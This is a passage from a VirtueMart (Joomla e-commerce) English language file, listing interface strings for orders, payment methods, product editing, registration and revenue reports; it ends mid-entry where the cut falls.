COM_VIRTUEMART_ORDER_CREATE="Create order head" COM_VIRTUEMART_ORDER_DELETE_ERR_ID="Unable to delete without the order ID." COM_VIRTUEMART_ORDER_DELETE_ITEM_JS="Are you sure you want to delete this Item?" COM_VIRTUEMART_ORDER_EDIT="Change Order Details" COM_VIRTUEMART_ORDER_EDIT_ACTIONS="Actions" COM_VIRTUEMART_ORDER_EDIT_CALCULATE="calculate" COM_VIRTUEMART_ORDER_EDIT_CALCULATE_DESC="Calculate the value automatically, uncheck to use the input value." COM_VIRTUEMART_ORDER_EDIT_CHOOSE_PRODUCT="Select a Product" COM_VIRTUEMART_ORDER_EDIT_CHOOSE_PRODUCT_BY_SKU="Select SKU" COM_VIRTUEMART_ORDER_EDIT_EDIT_ORDER="Change Order" COM_VIRTUEMART_ORDER_EDIT_ERROR_QUANTITY_MUST_BE_HIGHER_THAN_0="Quantity must be greater than 0." COM_VIRTUEMART_ORDER_EDIT_ORDER_ID="Edit Order ID" COM_VIRTUEMART_ORDER_EDIT_ORDER_NUMBER="Edit Order Number" COM_VIRTUEMART_ORDER_EDIT_PRODUCT_ADDED="The Product was added to the Order" COM_VIRTUEMART_ORDER_EDIT_PRODUCT_DELETED="The Product was removed from this Order" COM_VIRTUEMART_ORDER_EDIT_QUANTITY_UPDATED="Quantity has been updated" COM_VIRTUEMART_ORDER_EDIT_USER="Edit user" COM_VIRTUEMART_ORDER_LABEL_NEVERGENERATED="Label has not been generated yet" COM_VIRTUEMART_ORDER_LABEL_NOTFOUND="Order record not found in shipment label database." COM_VIRTUEMART_ORDER_LABEL_ORDERID_NOTVALID="Please provide a valid, numeric, Order ID, not '{order_id}'" COM_VIRTUEMART_ORDER_LABEL_SHIPPINGLABEL_LBL="Shipment Label" COM_VIRTUEMART_ORDER_LABEL_SIGNATURENEVER="Signature was never retrieved" COM_VIRTUEMART_ORDER_LINK="Follow this link to view the Order Details." COM_VIRTUEMART_ORDER_LIST_ID="Order ID" COM_VIRTUEMART_ORDER_LIST_LBL="Order List" COM_VIRTUEMART_ORDER_LIST_MDATE="Last Modified" COM_VIRTUEMART_ORDER_LIST_NOTIFY="Notify Shopper?" COM_VIRTUEMART_ORDER_LIST_NOTIFY_ERR="Please change the Order Status first!" COM_VIRTUEMART_ORDER_LIST_NUMBER="Order number" COM_VIRTUEMART_ORDER_LIST_PRINT_LABEL="Print Label" COM_VIRTUEMART_ORDER_LIST_SEARCH_BY_DATE="Search by date" COM_VIRTUEMART_ORDER_LIST_STATUS="Status" COM_VIRTUEMART_ORDER_LIST_TRACK="Track" COM_VIRTUEMART_ORDER_LIST_VOID_LABEL="Void Label" COM_VIRTUEMART_ORDER_MOD="Orders & Shoppers" COM_VIRTUEMART_ORDER_NOTFOUND="Order not found! It may have been deleted." COM_VIRTUEMART_ORDER_NOT_UPDATED="No change, please change the status in the orders to update it !" COM_VIRTUEMART_ORDER_NOT_UPDATED_SUCCESSFULLY="%1$s orders of %2$s have reported errors" COM_VIRTUEMART_ORDER_RESET="Reset order head" COM_VIRTUEMART_ORDER_S="Orders" COM_VIRTUEMART_ORDER_SAVE_USER_INFO="Save order head" COM_VIRTUEMART_ORDER_STATUS_CANCELLED="Cancelled" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_1="The Status of your Order No. %s has been changed." COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_2="New Status is : " COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_3="To view the Order Details, please follow this link (or copy it into your browser)" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_SUBJ="Order Status Change" COM_VIRTUEMART_ORDER_STATUS_CODE="Order Status Code" COM_VIRTUEMART_ORDER_STATUS_CODE_CORE="Order Status Code used by VirtueMart. Cannot be deleted." COM_VIRTUEMART_ORDER_STATUS_CODE_EXISTS="This Order Status Code already exists. Please choose another one." COM_VIRTUEMART_ORDER_STATUS_CODE_TIP="Order Status Code is only one character" COM_VIRTUEMART_ORDER_VIEW_LIST_DESC="VirtueMart List Orders" COM_VIRTUEMART_ORDER_VIEW_LIST_TITLE="VirtueMart List Orders" COM_VIRTUEMART_OVERWRITE_FINAL="Overwrite final" COM_VIRTUEMART_OVERWRITE_OFF="Disabled" COM_VIRTUEMART_OVERWRITE_PRICE_TAX="Overwrite price to be taxed" COM_VIRTUEMART_PAYMENT="Payment" COM_VIRTUEMART_PAYMENTMETHOD="Payment Method" COM_VIRTUEMART_PAYMENTMETHOD_CLASS_NOT_EXIST="The selected Payment Method can't be instantiated because it doesn't exist." COM_VIRTUEMART_PAYMENTMETHOD_ELEMENT="Code" COM_VIRTUEMART_PAYMENTMETHOD_ELEMENT_TIP="A unique code for the payment method (p.e PP)" COM_VIRTUEMART_PAYMENTMETHOD_ERR_CODE="Please enter a payment method code." COM_VIRTUEMART_PAYMENTMETHOD_ERR_NAME="Please enter a payment method name." COM_VIRTUEMART_PAYMENTMETHOD_FORM_CREDITCARD_LIST="Credit Card Types" COM_VIRTUEMART_PAYMENTMETHOD_FORM_DISCOUNT="Discount" COM_VIRTUEMART_PAYMENTMETHOD_FORM_ENABLE_PROCESSOR="Payment Method Type" COM_VIRTUEMART_PAYMENTMETHOD_FORM_NAME="Payment Name" COM_VIRTUEMART_PAYMENTMETHOD_FORM_SHOPPER_GROUP="Shopper Group" COM_VIRTUEMART_PAYMENTMETHOD_ID_NOT_PROVIDED="Error" COM_VIRTUEMART_PAYMENTMETHOD_LIST_CODE="Code" COM_VIRTUEMART_PAYMENTMETHOD_LIST_DISCOUNT="Discount" COM_VIRTUEMART_PAYMENTMETHOD_LIST_ENABLE_PROCESSOR="Payment Method Type" COM_VIRTUEMART_PAYMENTMETHOD_LIST_NAME="Name" COM_VIRTUEMART_PAYMENTMETHOD_LIST_SHOPPER_GROUP="Shopper Group" COM_VIRTUEMART_PAYMENTMETHOD_NAME_ALREADY_EXISTS="Payment Methods name already exist. Please select another name " COM_VIRTUEMART_PAYMENTMETHOD_S="Payment Methods" COM_VIRTUEMART_PAYMENTMETHOD_UPDATE_SELECT="Please select a payment method to update." COM_VIRTUEMART_PAYMENT_CANCELLED_BY_SHOPPER="Payment cancelled by the shopper" COM_VIRTUEMART_PAYMENT_CLASS_NAME="Payment Method" COM_VIRTUEMART_PAYMENT_CLASS_NAME_TIP="Select the payment method and click »Apply« button in Joomla 1.5.x or »Save« button in Joomla 2.5.x to display the appropriate parameters in the configuration tab" COM_VIRTUEMART_PAYMENT_CLONE="Clone payment" COM_VIRTUEMART_PAYMENT_CLONED_SUCCESSFULLY="Payment successfully cloned" COM_VIRTUEMART_PAYMENT_ELEMENT="Payment Method" COM_VIRTUEMART_PAYMENT_FORM_DESCRIPTION="Payment Description" COM_VIRTUEMART_PAYMENT_LIST_DESCRIPTION_LBL="Payment Description" COM_VIRTUEMART_PAYMENT_LIST_LBL="Payment Method List" COM_VIRTUEMART_PAYMENT_LIST_NAME="Payment Name" COM_VIRTUEMART_PAYMENT_NAME="Payment Name" COM_VIRTUEMART_PAYMENT_NOT_CLONED_SUCCESSFULLY="Payment cloning failed" COM_VIRTUEMART_PAYMENT_SHOPPERGROUPS="Shopper Group" COM_VIRTUEMART_PAYMENT_TRANSACTION_SUCCESS="Payment successfully processed" COM_VIRTUEMART_PAYMENT_TYPE="Method Type" COM_VIRTUEMART_PERMISSION_GROUP_MUST_HAVE_NAME="The permission group must have a name." COM_VIRTUEMART_PERMISSION_GROUP_NAME_INVALID_CHARACTERS="The permission group name contains invalid characters" COM_VIRTUEMART_PLEASE_SEL_ITEM="Please select an item" COM_VIRTUEMART_PLUGIN_COST_DISPLAY="Discount/Fee " COM_VIRTUEMART_PLUGIN_WARNING="Please configure VirtueMart Shipment or Payment Plugins inside VirtueMart component
Parameters set here will not be used at all." COM_VIRTUEMART_PN_DISPLAY_NR="Display #" COM_VIRTUEMART_PREVIEW="Preview" COM_VIRTUEMART_PRINT="Print" COM_VIRTUEMART_PRINT_VIEW="Print View" COM_VIRTUEMART_PRODUCT="Product" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT="Select a Product" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT_DESC="Creates a link to this display the selected Product" COM_VIRTUEMART_PRODUCTDETAILS_PRODUCT="Product" COM_VIRTUEMART_PRODUCTDETAILS_TO_SET_PRODUCT_VIEW="To set the product view" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_DESC="Displays a single product" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_TITLE="VirtueMart Product Details Layout" COM_VIRTUEMART_PRODUCTS_MOVE_TOOLBAR="Move Products" COM_VIRTUEMART_PRODUCT_ADDING_FAILED="Something went wrong when trying to add the product!" COM_VIRTUEMART_PRODUCT_ADD_CHILD="Add a Child Product" COM_VIRTUEMART_PRODUCT_ADD_CHILD_TIP="a Child Product can be added once this product is saved" COM_VIRTUEMART_PRODUCT_ADD_PRICE="Add new price" COM_VIRTUEMART_PRODUCT_ALIAS="Product Alias" COM_VIRTUEMART_PRODUCT_AVAILABILITY="Product Availability" COM_VIRTUEMART_PRODUCT_AVAILABLE_AGAIN="It will be available again on:" COM_VIRTUEMART_PRODUCT_AVAILABLE_DATE="Product Available Date" COM_VIRTUEMART_PRODUCT_BASEPRICE="Base price " COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT="Base price for variant " COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX="Base price with tax " COM_VIRTUEMART_PRODUCT_BOX="Units in Box" COM_VIRTUEMART_PRODUCT_BOX_DESCRIPTION="NO DESCRIPTION" COM_VIRTUEMART_PRODUCT_CALL="Call for Pricing" COM_VIRTUEMART_PRODUCT_CANT_DELETE_CHILD="Attention product is parent, please delete the children first" COM_VIRTUEMART_PRODUCT_CATEGORY="Product Category" COM_VIRTUEMART_PRODUCT_CATEGORY_NAME="Product Category name" COM_VIRTUEMART_PRODUCT_CHILD="Child Product" COM_VIRTUEMART_PRODUCT_CHILDREN_LIST="Product Children" COM_VIRTUEMART_PRODUCT_CHILDREN_OF="Product is Children of" COM_VIRTUEMART_PRODUCT_CHILD_CREATED_SUCCESSFULLY="Child product created successfully" COM_VIRTUEMART_PRODUCT_CHILD_LIST="Child Products" COM_VIRTUEMART_PRODUCT_CHILD_NAME="Product Child Name" COM_VIRTUEMART_PRODUCT_CLONE="Clone Product" COM_VIRTUEMART_PRODUCT_CLONED_SUCCESSFULLY="The product was successfully cloned" COM_VIRTUEMART_PRODUCT_CLONE_OPTIONS_LBL="Also clone these Child Items" COM_VIRTUEMART_PRODUCT_CLONE_OPTIONS_TAB="Clone Product Options" COM_VIRTUEMART_PRODUCT_CREATE_CHILD="Create Child Product" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD="Custom Field" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_N="Custom
%s" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_S="Custom Fields" COM_VIRTUEMART_PRODUCT_DEFAULT_SHOPPER_GROUPS="All Shoppers" COM_VIRTUEMART_PRODUCT_DESC="Product Description" COM_VIRTUEMART_PRODUCT_DESC_TITLE="Description" COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL="Manufacturer" COM_VIRTUEMART_PRODUCT_DETAILS_PAGE="Product Details Page" COM_VIRTUEMART_PRODUCT_DETAILS_VENDOR_LBL="From" COM_VIRTUEMART_PRODUCT_DIMENSION_UOM="Dimension Unit" COM_VIRTUEMART_PRODUCT_DISCOUNTED_PRICE="Price with discount " COM_VIRTUEMART_PRODUCT_DISCOUNT_ADDDISCOUNT_TIP="You can use the Product Discount Form to add discounts!" COM_VIRTUEMART_PRODUCT_DISCOUNT_ADDED="The product discount has been added." COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT="Discount " COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNTTYPE="Discount Type" COM_VIRTUEMART_PRODUCT_DISCOUNT_ISPERCENT_TIP="Shall the amount be a percentage or a total?" COM_VIRTUEMART_PRODUCT_DISCOUNT_NONE="Apply no rule" COM_VIRTUEMART_PRODUCT_DISCOUNT_NO_SPECIAL="Apply generic rules" COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE="Override" COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE_TIP="You can use this to temporarly discount a product" COM_VIRTUEMART_PRODUCT_EDIT_CHILD="Edit Product Child" COM_VIRTUEMART_PRODUCT_EMAILTOSHOPPERS="Send Email to shoppers" COM_VIRTUEMART_PRODUCT_EMAIL_CONTENT="Content" COM_VIRTUEMART_PRODUCT_EMAIL_DATE="Date sent" COM_VIRTUEMART_PRODUCT_EMAIL_ENTER_BODY="Please enter a message" COM_VIRTUEMART_PRODUCT_EMAIL_ENTER_SUBJECT="Please enter a subject for the email" COM_VIRTUEMART_PRODUCT_EMAIL_NO_SHOPPER="No shopper bougth this product" COM_VIRTUEMART_PRODUCT_EMAIL_ORDER_ITEM_STATUS="Select the 'Status of ordered products'" COM_VIRTUEMART_PRODUCT_EMAIL_ORDER_ITEM_STATUS_TIP="Select the 'Status of ordered products' of orders received to display the list of the shoppers who will receive the email" COM_VIRTUEMART_PRODUCT_EMAIL_SEND="Send Email" COM_VIRTUEMART_PRODUCT_EMAIL_SEND_TIP="Send the email to the shoppers" COM_VIRTUEMART_PRODUCT_EMAIL_SENT_TO_SHOPPER="Send an email to shoppers who bought this product (%d shopper(s))" COM_VIRTUEMART_PRODUCT_EMAIL_SHOPPERS_SUBJECT="Message about the product %1s" COM_VIRTUEMART_PRODUCT_EMAIL_SUBJECT="Subject" COM_VIRTUEMART_PRODUCT_ENQUIRY_LBL="Ask a question about this product" COM_VIRTUEMART_PRODUCT_FILES_LIST_RETURN="Return to product file list" COM_VIRTUEMART_PRODUCT_FILES_LIST_SEARCH_BY_NAME="Search Product" COM_VIRTUEMART_PRODUCT_FORM_ALIAS="Product Alias" COM_VIRTUEMART_PRODUCT_FORM_ALIAS_TIP="Product Alias for SEF" COM_VIRTUEMART_PRODUCT_FORM_AVAILABILITY_TOOLTIP1="Fill in any text here that will be displayed to the shopper on the product details.
e.g.: 24h, 48 hours, 3 - 5 days, On Order....." COM_VIRTUEMART_PRODUCT_FORM_AVAILABILITY_TOOLTIP2="OR select an Image to be displayed on the Details Page.
The images reside in the directory %s
" COM_VIRTUEMART_PRODUCT_FORM_AVAILABLE_DATE="Availability Date" COM_VIRTUEMART_PRODUCT_FORM_BOX_DESCRIPTION="Here you can fill in the number of units in a box. (max. 65535)" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL="Calculate the Cost price" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL_TIP="Check this to calculate the Cost price with the desired Final price" COM_VIRTUEMART_PRODUCT_FORM_CHILD_PARENT="Parent & Child Products" COM_VIRTUEMART_PRODUCT_FORM_DADISCOUNT_TYPE="After tax price modifier" COM_VIRTUEMART_PRODUCT_FORM_DBDISCOUNT_TYPE="Before tax price modifier" COM_VIRTUEMART_PRODUCT_FORM_DELETE_ITEM_MSG="Are you sure you want to delete this Item?" COM_VIRTUEMART_PRODUCT_FORM_DELETE_PRODUCT_MSG="Are you sure you want to delete this Product and the Items related to it?" COM_VIRTUEMART_PRODUCT_FORM_DESCRIPTION="Product Description" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNTED_PRICE="Discounted Price" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNTED_PRICE_TIP="Here you can override the discount setting. Fill in a special discount price for this product.
The Shop will create a new discount record from the discounted price." COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_EFFECTING="Discount " COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_TYPE="Discount Type" COM_VIRTUEMART_PRODUCT_FORM_EDIT_PRODUCT="Edit this product" COM_VIRTUEMART_PRODUCT_FORM_EMAILS_TAB="Emails" COM_VIRTUEMART_PRODUCT_FORM_GTIN="GTIN (EAN,ISBN)" COM_VIRTUEMART_PRODUCT_FORM_GTIN_TIP="Global Trade Item Number. An international number comprising for example former ISBN, EAN, UPC" COM_VIRTUEMART_PRODUCT_FORM_HEIGHT="Height" COM_VIRTUEMART_PRODUCT_FORM_IN_STOCK="In Stock" COM_VIRTUEMART_PRODUCT_FORM_ITEM_DIM_WEIGHT_LBL="Item Dimensions and Weight" COM_VIRTUEMART_PRODUCT_FORM_ITEM_IMAGES_LBL="Images label" COM_VIRTUEMART_PRODUCT_FORM_ITEM_INFO_LBL="Product item Information" COM_VIRTUEMART_PRODUCT_FORM_ITEM_STATUS_LBL="Item status" COM_VIRTUEMART_PRODUCT_FORM_LENGTH="Length" COM_VIRTUEMART_PRODUCT_FORM_MAX_ORDER="Maximum Purchase Quantity" COM_VIRTUEMART_PRODUCT_FORM_MIN_ORDER="Minimum Purchase Quantity" COM_VIRTUEMART_PRODUCT_FORM_MPN="MPN" COM_VIRTUEMART_PRODUCT_FORM_MPN_TIP="Part number resp. Stock Keeping Unit of the Manufacturer" COM_VIRTUEMART_PRODUCT_FORM_NAME="Product Name" COM_VIRTUEMART_PRODUCT_FORM_NEW_PRODUCT_LBL="New Product" COM_VIRTUEMART_PRODUCT_FORM_ORDERED_STOCK="Booked, ordered products" COM_VIRTUEMART_PRODUCT_FORM_PACKAGING="Units in a Package" COM_VIRTUEMART_PRODUCT_FORM_PACKAGING_DESCRIPTION="Here you can fill in the number of units in a package. (max. 65535)" COM_VIRTUEMART_PRODUCT_FORM_PARENT="Parent" COM_VIRTUEMART_PRODUCT_FORM_PARENT_INFO_LBL="Edit Parent" COM_VIRTUEMART_PRODUCT_FORM_PRICES="Product pricing (you are in shoppergroups: %1$s)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASE="Base price" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASEWITHTAX="Base price with tax" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASE_TIP="The base price is the cost price converted into vendor default currency" COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST="Cost price" COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST_TIP="This is actual cost price in the currency selected" COM_VIRTUEMART_PRODUCT_FORM_PRICE_DISCOUNT="Discount" COM_VIRTUEMART_PRODUCT_FORM_PRICE_FINAL="Final price" COM_VIRTUEMART_PRODUCT_FORM_PRICE_FINAL_TIP="The final price is the baseprice with all affecting rules applied in vendor default currency" COM_VIRTUEMART_PRODUCT_FORM_PRICE_GROSS="Product Price (Gross)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_NET="Product Price (Cost)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_RETAIL="Product Price (Retail)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_TAX="Tax" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_CUSTOM_TAB="Custom Fields" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_DIM_WEIGHT_LBL="Product Dimensions and Weight" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_IMAGES_LBL="Product Images" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_INFO_LBL="Product Information" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_ITEMS_LBL="Child Product List" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_STATUS_LBL="Product Status" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_TYPES_TAB="Product Types" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_VARIANTS_LBL="Product Variants" COM_VIRTUEMART_PRODUCT_FORM_PROPERTY="Property" COM_VIRTUEMART_PRODUCT_FORM_PROPERTY_NEW="New Property" COM_VIRTUEMART_PRODUCT_FORM_PURCHASE_PRICE="Product Price" COM_VIRTUEMART_PRODUCT_FORM_RULES_OVERRIDES="Pricing rules overrides" COM_VIRTUEMART_PRODUCT_FORM_SKU="Product SKU" COM_VIRTUEMART_PRODUCT_FORM_SPECIAL="On Featured" COM_VIRTUEMART_PRODUCT_FORM_STEP_ORDER="Purchase Quantity Steps" COM_VIRTUEMART_PRODUCT_FORM_S_DESC="Short Description" COM_VIRTUEMART_PRODUCT_FORM_UNIT="Unit" COM_VIRTUEMART_PRODUCT_FORM_UNIT_DEFAULT="piece" COM_VIRTUEMART_PRODUCT_FORM_UPDATE_ITEM_LBL="Update Item" COM_VIRTUEMART_PRODUCT_FORM_URL="URL" COM_VIRTUEMART_PRODUCT_FORM_VENDOR="Vendor" COM_VIRTUEMART_PRODUCT_HEIGHT="Product Height" COM_VIRTUEMART_PRODUCT_ID="Product id" COM_VIRTUEMART_PRODUCT_ID_MISSING="A product ID is missing." COM_VIRTUEMART_PRODUCT_IMAGE="Product image" COM_VIRTUEMART_PRODUCT_IMAGEURL_MUSTBEGIN="Image URL must begin with http." COM_VIRTUEMART_PRODUCT_IMGDEL_FAILED="Failed deleting Product Images!" COM_VIRTUEMART_PRODUCT_INFORMATION="Product Information" COM_VIRTUEMART_PRODUCT_INVENTORY="Inventory" COM_VIRTUEMART_PRODUCT_INVENTORY_PRICE="Stock Value" COM_VIRTUEMART_PRODUCT_INVENTORY_VALUE="Value" COM_VIRTUEMART_PRODUCT_INVENTORY_WEIGHT="Weight" COM_VIRTUEMART_PRODUCT_IN_STOCK="Product in stock" COM_VIRTUEMART_PRODUCT_LENGTH="Product Length" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE="Search Product" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_AFTER="after" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_BEFORE="before" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRICE="with Price modified" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRODUCT="modified" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_WITHOUTPRICE="without Price" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_PARENT_PRODUCT="only parent" COM_VIRTUEMART_PRODUCT_LIST_VENDOR_NAME="Vendor Name" COM_VIRTUEMART_PRODUCT_LIST_X_CHILDREN="List all %s children" COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_BODY="The product %s has a stock of %d." COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_SUBJECT="The product %s has a low stock" COM_VIRTUEMART_PRODUCT_LWH_UOM="Length/Weight/Height Unit of Measure" COM_VIRTUEMART_PRODUCT_MASSXREF="Bulk association (i.e. categories, shoppergroups) with selected products" COM_VIRTUEMART_PRODUCT_MEDIA="Media File" COM_VIRTUEMART_PRODUCT_MOD="Products" COM_VIRTUEMART_PRODUCT_NAME="Product Name" COM_VIRTUEMART_PRODUCT_NAME_TITLE="Product Name" COM_VIRTUEMART_PRODUCT_NOTIFY_MESSAGE_SENT="Email(s) sent" COM_VIRTUEMART_PRODUCT_NOTIFY_NUMBER="Number to notify (leave blank for all)" COM_VIRTUEMART_PRODUCT_NOTIFY_USER="Notify users" COM_VIRTUEMART_PRODUCT_NOT_CLONED_SUCCESSFULLY="The product was not successfully cloned" COM_VIRTUEMART_PRODUCT_NOT_FOUND="Sorry, but the Product you have requested was not found!" COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY="Child product not created successfully" COM_VIRTUEMART_PRODUCT_OF="of" COM_VIRTUEMART_PRODUCT_ORDER_LEVELS="Product Order Levels" COM_VIRTUEMART_PRODUCT_PACKAGING="Product Packaging" COM_VIRTUEMART_PRODUCT_PACKAGING_DESCRIPTION="In case your product is sold in units, like meters, grams or, liters, enter here the amount. For example 0.7 for a 0.7 %1$s bottle or 2.5 for 250 ml in case you choosed for %2$s %3$s" COM_VIRTUEMART_PRODUCT_PARENT_LIST_CHILDREN="Product has Children?" COM_VIRTUEMART_PRODUCT_PRICE="Product Price" COM_VIRTUEMART_PRODUCT_PRICE_DATE_RANGE="Date range" COM_VIRTUEMART_PRODUCT_PRICE_FROM="From" COM_VIRTUEMART_PRODUCT_PRICE_QUANTITY_RANGE="Quantity range" COM_VIRTUEMART_PRODUCT_PRICE_TITLE="Product Price" COM_VIRTUEMART_PRODUCT_PRICE_TO="To" COM_VIRTUEMART_PRODUCT_PRINT_INTNOTES="Internal note" COM_VIRTUEMART_PRODUCT_PRODUCT_TYPE_FORM_PRODUCT_TYPE="Product Type" COM_VIRTUEMART_PRODUCT_RELATED_SEARCH="Search for Related Products" COM_VIRTUEMART_PRODUCT_RELATIONSHIP="Family" COM_VIRTUEMART_PRODUCT_S="Products" COM_VIRTUEMART_PRODUCT_SALES="Product Sales" COM_VIRTUEMART_PRODUCT_SALESPRICE="Sales price " COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX="Sales price without tax " COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT="Salesprice with discount " COM_VIRTUEMART_PRODUCT_SHOPPERS="Send an email to Shoppers" COM_VIRTUEMART_PRODUCT_SHOPPERS_LIST="List of shoppers who bought %1$s" COM_VIRTUEMART_PRODUCT_SKU="Product SKU" COM_VIRTUEMART_PRODUCT_SPECIAL="Featured Product" COM_VIRTUEMART_PRODUCT_S_DESC="Product Short description" COM_VIRTUEMART_PRODUCT_TAX_AMOUNT="Tax amount " COM_VIRTUEMART_PRODUCT_TAX_NONE="Apply no rule" COM_VIRTUEMART_PRODUCT_TAX_NO_SPECIAL="Apply default rules" COM_VIRTUEMART_PRODUCT_UNIT="Product Unit" COM_VIRTUEMART_PRODUCT_USE_NOTIFY_TEMPLATE="Use notification template" COM_VIRTUEMART_PRODUCT_USE_NOTIFY_TEMPLATE_TIP="If checked, the default notification will be sent." COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_SUBJECT="%s has arrived!" COM_VIRTUEMART_PRODUCT_WAITING_LIST_NOTIFIED="Notified" COM_VIRTUEMART_PRODUCT_WAITING_LIST_NOTIFYUSERS="Notify these users now (when you have updated the number of products stock)" COM_VIRTUEMART_PRODUCT_WAITING_LIST_TAB="Waiting List" COM_VIRTUEMART_PRODUCT_WAITING_LIST_USERLIST="Users waiting to be notified when this product is back in stock" COM_VIRTUEMART_PRODUCT_WAITING_NOWAITINGUSERS="No waiting users" COM_VIRTUEMART_PRODUCT_WEIGHT="Product Weight" COM_VIRTUEMART_PRODUCT_WEIGHT_UOM="Product Weight Unit" COM_VIRTUEMART_PRODUCT_WIDTH="Product Width" COM_VIRTUEMART_PRODUCT_XREF_CAT="Bulk associate categories" COM_VIRTUEMART_PRODUCT_XREF_CAT_EXE="Execute bulk association of categories" COM_VIRTUEMART_PRODUCT_XREF_NAMES="Selected products %s" COM_VIRTUEMART_PRODUCT_XREF_SGRPS="Bulk associate shoppergroups" COM_VIRTUEMART_PRODUCT_XREF_SGRPS_EXE="Execute bulk association of shoppergroups" COM_VIRTUEMART_PUBLISHED="Published" COM_VIRTUEMART_PUBLISH_ITEM="Publish item" COM_VIRTUEMART_RAISEWARNING_NOT_ABLE_TO_SAVE_USER_DATA="used RaiseWarning: Was not able to save the VirtueMart user data" COM_VIRTUEMART_RATE_FORM_VAT_ID="Tax" COM_VIRTUEMART_RATE_NOM="Rating" COM_VIRTUEMART_RATINGS="Reviews & Ratings" COM_VIRTUEMART_RATING_DATE_TITLE="Review date" COM_VIRTUEMART_RATING_EDIT_TITLE="Edit Shopper Review" COM_VIRTUEMART_RATING_TITLE="Rating" COM_VIRTUEMART_RECENT_PRODUCTS="Recently Viewed Products" COM_VIRTUEMART_REGISTER_ACCOUNT="Register an Account?
An Account allows you to come back to this shop and view all the orders you have made." COM_VIRTUEMART_REGISTER_TITLE="Registration" COM_VIRTUEMART_REGISTRATION_FORM_NONE="none" COM_VIRTUEMART_REG_COMPLETE="
Registration Complete!
" COM_VIRTUEMART_REG_COMPLETE_ACTIVATE="
Registration Completed!

Your account has been created and an activation link has been sent to the e-mail address you entered. Note that you must activate the account by clicking on the activation link when you get the e-mail before you can login." COM_VIRTUEMART_REG_VENDOR_COMPLETE="
Registration of vendor complete!
" COM_VIRTUEMART_REG_VENDOR_COMPLETE_ACTIVATE="
Registration of vendor Completed!

Your account has been created and an activation link has been sent to the e-mail address you entered. Note that you must activate the account by clicking on the activation link when you get the e-mail before you can login." COM_VIRTUEMART_RELATED_CATEGORIES="Related Categories" COM_VIRTUEMART_RELATED_CATEGORIES_TIP="Add categories to display in the Product Details Page" COM_VIRTUEMART_RELATED_PRODUCTS="Related Products" COM_VIRTUEMART_RELATED_PRODUCTS_HEADING="You may also be interested in this/these product(s)" COM_VIRTUEMART_RELATED_PRODUCTS_TIP="Add products to display in the Product Details Page" COM_VIRTUEMART_RELOAD="Reload" COM_VIRTUEMART_REMEMBER_ME="Remember me" COM_VIRTUEMART_REPORT="Revenue Report" COM_VIRTUEMART_REPORT_BASIC_DATE="Date" COM_VIRTUEMART_REPORT_BASIC_INDIVIDUAL="Individual Product Listings" COM_VIRTUEMART_REPORT_BASIC_LAST60_BUTTON="Last 60 days" COM_VIRTUEMART_REPORT_BASIC_LAST90_BUTTON="Last 90 days" COM_VIRTUEMART_REPORT_BASIC_LASTMONTH_BUTTON="Last Month" COM_VIRTUEMART_REPORT_BASIC_ORDERS="Orders" COM_VIRTUEMART_REPORT_BASIC_PRODLIST="Product Listing" COM_VIRTUEMART_REPORT_BASIC_REPORT_FOR="Report for" COM_VIRTUEMART_REPORT_BASIC_REVENUE_BRUTTO="Revenue gross" COM_VIRTUEMART_REPORT_BASIC_REVENUE_NETTO="Revenue net" COM_VIRTUEMART_REPORT_BASIC_SALES_PAGE_TITLE="Sales Activity Overview, // not used?" COM_VIRTUEMART_REPORT_BASIC_SALE_TITLE="Sales Reporting, // not 